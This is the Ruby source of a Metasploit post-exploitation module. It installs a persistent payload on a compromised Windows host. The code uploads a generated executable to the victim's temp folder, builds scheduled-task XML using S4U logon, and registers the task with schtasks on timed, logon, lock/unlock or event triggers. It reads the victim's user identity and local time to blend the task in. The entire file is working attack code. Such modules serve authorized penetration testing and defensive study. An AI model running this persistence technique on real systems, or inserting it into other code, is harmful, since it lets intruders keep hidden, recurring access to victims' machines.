##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Manage User Level Persistent Payload Installer',
        'Description' => %q{
          Creates a scheduled task that will run using service-for-user (S4U).
          This allows the scheduled task to run even as an unprivileged user
          that is not logged into the device. This will result in lower security
          context, allowing access to local resources only. The module
          requires 'Logon as a batch job' permissions (SeBatchLogonRight).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
          'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
        ],
        'Platform' => 'win',
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [ [ 'Windows', {} ] ],
        'DisclosureDate' => '2013-01-02', # Date of scriptjunkie's blog post
        'DefaultTarget' => 0,
        'References' => [
          [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/' ],
          [ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/' ]
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_sys_config_getenv
              stdapi_sys_config_getuid
            ]
          }
        }
      )
    )

    register_options(
      [
        OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']),
        OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires', 0]),
        OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule', ['event', 'lock', 'logon', 'schedule', 'unlock']]),
        OptString.new('REXENAME', [false, 'Name of exe on remote system']),
        OptString.new('RTASKNAME', [false, 'Name of task on remote system']),
        OptString.new('PATH', [false, 'PATH to write payload', '%TEMP%'])
      ]
    )

    register_advanced_options(
      [
        OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']),
        OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']),
        OptString.new('XPATH', [false, 'XPath query'])
      ]
    )
  end

  def exploit
    version = get_version_info
    unless version.build_number >= Msf::WindowsVersion::Vista_SP0
      fail_with(Failure::NoTarget, 'This module only works on Vista/2008 and above')
    end

    if datastore['TRIGGER'] == 'event' && (datastore['EVENT_LOG'].nil? || datastore['EVENT_ID'].nil?)
      print_status('The properties of any event in the event viewer will contain this information')
      fail_with(Failure::BadConfig, 'Advanced options EVENT_LOG and EVENT_ID required for event')
    end

    # Generate payload
    payload = generate_payload_exe

    # Generate remote executable name
    rexename = generate_rexename

    # Generate path names
    xml_path, rexe_path = generate_path(rexename)

    # Upload REXE to victim fs
    upload_rexe(rexe_path, payload)

    # Create basic XML outline
    xml = create_xml(rexe_path)

    # Fix XML based on trigger
    xml = add_xml_triggers(xml)

    # Write XML to victim fs, if fail clean up
    write_xml(xml, xml_path, rexe_path)

    # Name task with Opt or give random name
    schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha(rand(6..13))

    # Create task with modified XML
    create_task(xml_path, schname, rexe_path)
  end

  ##############################################################
  # Generate name for payload
  # Returns name
  def generate_rexename
    rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.exe'
    if rexename !~ /\.exe$/
      print_warning("#{datastore['REXENAME']} isn't an exe")
    end
    return rexename
  end

  ##############################################################
  # Generate Path for payload upload
  # Returns path for XML and payload
  def generate_path(rexename)
    # Generate a path to write payload and XML
    path = datastore['PATH'] || session.sys.config.getenv('TEMP')
    xml_path = "#{path}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.xml"
    rexe_path = "#{path}\\#{rexename}"
    return xml_path, rexe_path
  end

  ##############################################################
  # Upload the executable payload
  # Returns boolean for success
  def upload_rexe(path, payload)
    vprint_status("Uploading #{path}")

    if file? path
      fail_with(Failure::Unknown, "File #{path} already exists... Exiting")
    end

    begin
      write_file(path, payload)
    rescue StandardError
      fail_with(Failure::Unknown, "Could not upload to #{path}")
    end

    print_good("Successfully Uploaded remote executable to #{path}")
  end

  ##############################################################
  # Creates a scheduled task, exports as XML, deletes task
  # Returns normal XML for generic task
  def create_xml(rexe_path)
    xml_path = File.join(Msf::Config.data_directory, 'exploits', 's4u_persistence.xml')
    xml_file = File.new(xml_path, 'r')
    xml = xml_file.read
    xml_file.close

    # Get local time, not system time from victim machine
    begin
      vt = client.railgun.kernel32.GetLocalTime(32)
      ut = vt['lpSystemTime'].unpack('v*')
      t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5])
    rescue StandardError
      print_warning('Could not read system time from victim... Using your local time to determine creation date')
      t = ::Time.now
    end
    date = t.strftime('%Y-%m-%d')
    time = t.strftime('%H:%M:%S')

    # Put in correct times
    xml = xml.gsub(/DATEHERE/, "#{date}T#{time}")

    domain, user = client.sys.config.getuid.split('\\')

    # Put in user information
    xml = xml.sub(/DOMAINHERE/, user)
    xml = xml.sub(/USERHERE/, "#{domain}\\#{user}")

    xml = xml.sub(/COMMANDHERE/, rexe_path)
    return xml
  end

  ##############################################################
  # Takes the XML, alters it based on trigger specified. Will also
  # add in expiration tag if used.
  # Returns the modified XML
  def add_xml_triggers(xml)
    # Insert trigger
    case datastore['TRIGGER']
    when 'logon'
      # Trigger based on winlogon event, checks windows license key after logon
      print_status('This trigger triggers on event 4101 which validates the Windows license')
      line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]"
      xml = create_trigger_event_tags('Application', line, xml)

    when 'lock'
      xml = create_trigger_tags('SessionLock', xml)

    when 'unlock'
      xml = create_trigger_tags('SessionUnlock', xml)

    when 'event'
      line = "*[System[(EventID=#{datastore['EVENT_ID']})]]"
      if !datastore['XPATH'].nil? && !datastore['XPATH'].empty?
        # Append xpath queries
        line << " and #{datastore['XPATH']}"
        # Print XPath query, useful to user to spot issues with uncommented single quotes
        print_status("XPath query: #{line}")
      end

      xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml)

    when 'schedule'
      # Change interval tag, insert into XML
      unless datastore['FREQUENCY'].nil? || datastore['FREQUENCY'] == 0
        minutes = datastore['FREQUENCY']
      else
        print_status('Defaulting frequency to every hour')
        minutes = 60
      end
      xml = xml.sub(/<Interval>.*?</, "<Interval>PT#{minutes}M<")

      # Insert expire tag if not 0
      unless datastore['EXPIRE_TIME'] == 0
        # Generate expire tag
        end_boundary = create_expire_tag
        # Inject expire tag
        insert = xml.index('</StartBoundary>')
        xml.insert(insert + 16, "\n      #{end_boundary}")
      end
    end
    return xml
  end

  ##############################################################
  # Creates end boundary tag which expires the trigger
  # Returns XML for expire
  def create_expire_tag
    # Get local time, not system time from victim machine
    begin
      vt = client.railgun.kernel32.GetLocalTime(32)
      ut = vt['lpSystemTime'].unpack('v*')
      t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5])
    rescue StandardError
      print_error('Could not read system time from victim... Using your local time to determine expire date')
      t = ::Time.now
    end

    # Create time object to add expire time to and create tag
    t += (datastore['EXPIRE_TIME'] * 60)
    date = t.strftime('%Y-%m-%d')
    time = t.strftime('%H:%M:%S')
    end_boundary = "<EndBoundary>#{date}T#{time}</EndBoundary>"
    return end_boundary
  end

  ##############################################################
  # Creates trigger XML for session state triggers and replaces
  # the time trigger.
  # Returns altered XML
  def create_trigger_tags(trig, xml)
    domain, user = client.sys.config.getuid.split('\\')

    # Create session state trigger, weird spacing used to maintain
    # natural Winadows spacing for XML export
    temp_xml = "<SessionStateChangeTrigger>\n"
    temp_xml << "      #{create_expire_tag}" unless datastore['EXPIRE_TIME'] == 0
    temp_xml << "      <Enabled>true</Enabled>\n"
    temp_xml << "      <StateChange>#{trig}</StateChange>\n"
    temp_xml << "      <UserId>#{domain}\\#{user}</UserId>\n"
    temp_xml << '    </SessionStateChangeTrigger>'

    xml = xml.gsub(%r{<TimeTrigger>.*</TimeTrigger>}m, temp_xml)

    return xml
  end

  ##############################################################
  # Creates trigger XML for event based triggers and replaces
  # the time trigger.
  # Returns altered XML
  def create_trigger_event_tags(log, line, xml)
    # Fscked up XML syntax for windows event #{id} in #{log}, weird spacind
    # used to maintain natural Windows spacing for XML export
    temp_xml = "<EventTrigger>\n"
    temp_xml << "      #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0
    temp_xml << "      <Enabled>true</Enabled>\n"
    temp_xml << '      <Subscription>&lt;QueryList&gt;&lt;Query Id="0" '
    temp_xml << "Path=\"#{log}\"&gt;&lt;Select Path=\"#{log}\"&gt;"
    temp_xml << line
    temp_xml << '&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;'
    temp_xml << "</Subscription>\n"
    temp_xml << '    </EventTrigger>'

    xml = xml.gsub(%r{<TimeTrigger>.*</TimeTrigger>}m, temp_xml)
    return xml
  end

  ##############################################################
  # Takes the XML and a path and writes file to filesystem
  # Returns boolean for success
  def write_xml(xml, path, rexe_path)
    if file? path
      delete_file(rexe_path)
      fail_with(Failure::Unknown, "File #{path} already exists... Exiting")
    end
    begin
      write_file(path, xml)
    rescue StandardError
      delete_file(rexe_path)
      fail_with(Failure::Unknown, "Issues writing XML to #{path}")
    end
    print_good("Successfully wrote XML file to #{path}")
  end

  ##############################################################
  # Takes path and delete file
  # Returns boolean for success
  def delete_file(path)
    file_rm(path)
  rescue StandardError
    print_warning("Could not delete file #{path}, delete manually")
  end

  ##############################################################
  # Takes path and name for task and creates final task
  # Returns boolean for success
  def create_task(path, schname, rexe_path)
    # create task using XML file on victim fs
    create_task_response = cmd_exec('cmd.exe', "/c schtasks /create /xml #{path} /tn \"#{schname}\"")
    if create_task_response =~ /has successfully been created/
      print_good("Persistence task #{schname} created successfully")

      # Create to delete commands for exe and task
      del_task = "schtasks /delete /tn \"#{schname}\" /f"
      print_status("#{'To delete task:'.ljust(20)} #{del_task}")
      print_status("#{'To delete payload:'.ljust(20)} del #{rexe_path}")
      del_task << "\ndel #{rexe_path}"

      # Delete XML from victim
      delete_file(path)

      # Save info to notes DB
      report_note(host: session.session_host,
                  type: 'host.s4u_persistance.cleanup',
                  data: {
                    session_num: session.sid,
                    stype: session.type,
                    desc: session.info,
                    platform: session.platform,
                    via_payload: session.via_payload,
                    via_exploit: session.via_exploit,
                    created_at: Time.now.utc,
                    delete_commands: del_task
                  })
    elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/
      # Clean up
      delete_file(rexe_path)
      delete_file(path)
      error = 'The scheduled task name is already in use'
      fail_with(Failure::Unknown, error)
    else
      error = 'Issues creating task using XML file schtasks'
      vprint_error("Error: #{create_task_response}")
      if (datastore['EVENT_LOG'] == 'Security') && (datastore['TRIGGER'] == 'Event')
        print_warning('Security log can restricted by UAC, try a different trigger')
      end
      # Clean up
      delete_file(rexe_path)
      delete_file(path)
      fail_with(Failure::Unknown, error)
    end
  end
end
